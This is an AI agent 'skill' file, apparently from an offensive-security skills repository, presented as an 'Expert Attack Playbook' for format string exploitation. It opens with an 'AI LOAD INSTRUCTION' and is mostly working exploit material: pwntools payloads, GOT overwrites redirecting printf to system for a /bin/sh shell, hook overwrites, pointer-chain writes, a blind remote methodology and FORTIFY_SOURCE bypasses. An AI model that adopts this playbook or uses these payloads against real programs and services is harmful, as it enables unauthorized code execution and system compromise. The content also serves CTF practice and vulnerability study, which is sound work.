Format String Exploitation

SKILL: Format String Exploitation — Expert Attack Playbook

> AI LOAD INSTRUCTION: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __mallochook overwrite, pointer chain exploitation, blind format string, FORTIFYSOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.

0. RELATED ROUTING

• [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — combine format string leak with stack overflow for full exploit
• [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — format string is the primary canary/PIE/ASLR leak method
• [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert format string write primitive to code execution targets
• [heap-exploitation](../heap-exploitation/SKILL.md) — heap address leak via format string for heap exploitation

---

1. VULNERABILITY IDENTIFICATION

Vulnerable Pattern

printf(user_input);          // VULNERABLE: user controls format string
fprintf(fp, user_input);     // VULNERABLE
sprintf(buf, user_input);    // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE

printf("%s", user_input);    // SAFE: format string is fixed

Quick Test

Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset

---

2. READING MEMORY

Stack Leak (%p)

| Format | Action | Use | |---|---|---| | %p | Print next stack value as pointer | Sequential stack dump | | %N$p | Print N-th parameter as pointer | Direct positional access | | %N$lx | Same as %p but explicit hex (64-bit) | Portable | | %N$s | Dereference N-th parameter as string pointer | Read memory at pointer value |

Finding Your Input Offset

# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
#                                                           ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
    io.sendline(f'AAAA%{i}$p')
    if '0x41414141' in io.recvline():
        print(f'Offset = {i}')
        break

Leaking Specific Values

| Target | Method | Stack Position | |---|---|---| | Canary | %N$p where N = canary offset from format string | Typically at offset buf_size/8 + few | | Saved RBP | %N$p (just above return address) | Leaks stack address → stack base | | Return address | %N$p | Leaks .text address (PIE base = leak & ~0xfff - offset) | | Libc address | %N$p where N points to __libc_start_main+XX return on stack | libc base = leak - offset |

Reading Arbitrary Address (%s)

# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s'  # N = offset where target_addr appears on stack

# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr)  # %8$s reads from offset 8 where address is

---

3. WRITING MEMORY (%n)

Write Specifiers

| Specifier | Bytes Written | Width | |---|---|---| | %n | 4 bytes (int) | Characters printed so far | | %hn | 2 bytes (short) | Characters printed so far (mod 0x10000) | | %hhn | 1 byte (char) | Characters printed so far (mod 0x100) | | %ln | 8 bytes (long) | Characters printed so far |

Arbitrary Write Technique

Goal: Write value V to address A.

32-bit (address on stack directly):

# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload  = p32(target_addr)       # for low 2 bytes
payload += p32(target_addr + 2)   # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()

64-bit (address AFTER format string):

# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers

# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)

Byte-by-Byte Write with %hhn

Write one byte at a time for precision (6 writes for full 48-bit address on 64-bit):

writes = {}
for i in range(6):
    byte_val = (value >> (i * 8)) & 0xff
    writes[target_addr + i] = byte_val

# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

---

4. PWNTOOLS fmtstr_payload()

from pwn import *

# Overwrite GOT entry with target address
payload = fmtstr_payload(
    offset,                    # stack offset where input appears
    {elf.got['printf']: libc.symbols['system']},  # {addr: value}
    numbwritten=0,             # bytes already output before our input
    write_size='short'         # 'byte', 'short', or 'int'
)

# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically

FmtStr Class (Interactive Exploitation)

from pwn import *

def send_payload(payload):
    io.sendline(payload)
    return io.recvline()

fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()

---

5. GOT OVERWRITE VIA FORMAT STRING

Common Targets

| Overwrite | With | Trigger | |---|---|---| | printf@GOT | system | Next printf(user_input) → system(user_input), send /bin/sh | | strlen@GOT | system | If strlen(user_input) called | | puts@GOT | system | If puts(user_input) called | | atoi@GOT | system | If atoi(user_input) called (send sh as "number") | | __stack_chk_fail@GOT | Controlled addr | Bypass canary check entirely | | exit@GOT | main | Create infinite loop for multi-shot exploit |

Hook Targets (glibc < 2.34)

| Target | One-gadget | Trigger | |---|---|---| | __malloc_hook | one_gadget addr | Any printf with large format → internal malloc | | __free_hook | system | Trigger free("/bin/sh") |

---

6. STACK POINTER CHAIN EXPLOITATION

When format string is not directly on the stack (e.g., stored in a heap buffer referenced by stack pointer), use pointer chains on the stack to achieve arbitrary write.

Two-Stage Write

Stack:
  [offset A] → ptr_X (stack address pointing to another stack address)
  [offset B] → ptr_Y (target of ptr_X)

Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr

This requires finding existing pointer chains on the stack (e.g., saved frame pointers forming a chain: rbp → prevrbp → prevprev_rbp).

Finding Pointer Chains

# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target

---

7. BLIND FORMAT STRING

Remote service, no binary, no source — exploit format string blind.

Methodology

| Step | Action | Purpose | |---|---|---| | 1 | Send %p × 50 | Dump stack, identify address patterns | | 2 | Identify offsets | Find libc addrs (0x7f...), stack addrs (0x7ff...), code addrs | | 3 | Find input offset | Send AAAA%N$p for N=1..50, find 0x41414141 | | 4 | Identify binary base | Code addresses reveal PIE base (or fixed base if no PIE) | | 5 | Leak GOT entries | If binary base known, read GOT via %N$s with GOT address | | 6 | Calculate libc base | GOT value - libc symbol offset | | 7 | Overwrite GOT | %n to rewrite GOT entry with system address |

---

8. FORTIFY_SOURCE BYPASS

FORTIFY_SOURCE (gcc -D_FORTIFY_SOURCE=2) replaces printf with __printf_chk which forbids %N$n (positional writes).

Bypass Techniques

| Method | Detail | |---|---| | Use %hn sequentially (no positional) | Print exact byte count, %hn, adjust, %hn — fragile but works | | Stack-based exploit | If format string is on stack, use non-positional %n with stack position control | | Heap overflow instead | FORTIFY doesn't protect heap — combine with heap bug | | Return-to-printf | ROP to call unfortified printf (if available in binary or libc) |

---

9. 64-BIT CONSIDERATIONS

| Challenge | Solution | |---|---| | Addresses contain \x00 (null byte terminates format string) | Place addresses AFTER format specifiers, pad to alignment | | Address width: 6 significant bytes | Write 3 × %hn (2 bytes each) or 6 × %hhn | | Larger stack offset range | Input may be at offset 6+ due to 6 register args saved | | 48-bit address space | Only bottom 48 bits of 64-bit used |

Layout Template (64-bit)

[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
 ← no null bytes here →                          ← null bytes OK (after fmt) →

---

10. DECISION TREE

Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│   ├── YES → positional %n blocked
│   │   ├── Sequential %n possible? → non-positional write
│   │   └── Combine with another primitive (heap, ROP)
│   └── NO → full positional %n available
├── What do you need first?
│   ├── Leak canary → %N$p at canary stack offset
│   ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│   ├── Leak libc base → %N$p at __libc_start_main return on stack
│   ├── Leak heap base → %N$p at heap pointer on stack
│   └── Leak specific address → %N$s with target address on stack
├── Architecture?
│   ├── 32-bit → addresses at start of format string
│   └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│   ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│   ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│   ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│   └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│   ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│   └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
    └── Use stack pointer chains for indirect writes

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: yaklang
• Source: yaklang/hack-skills
• License: MIT

Install and usage instructions live in the source repository linked above.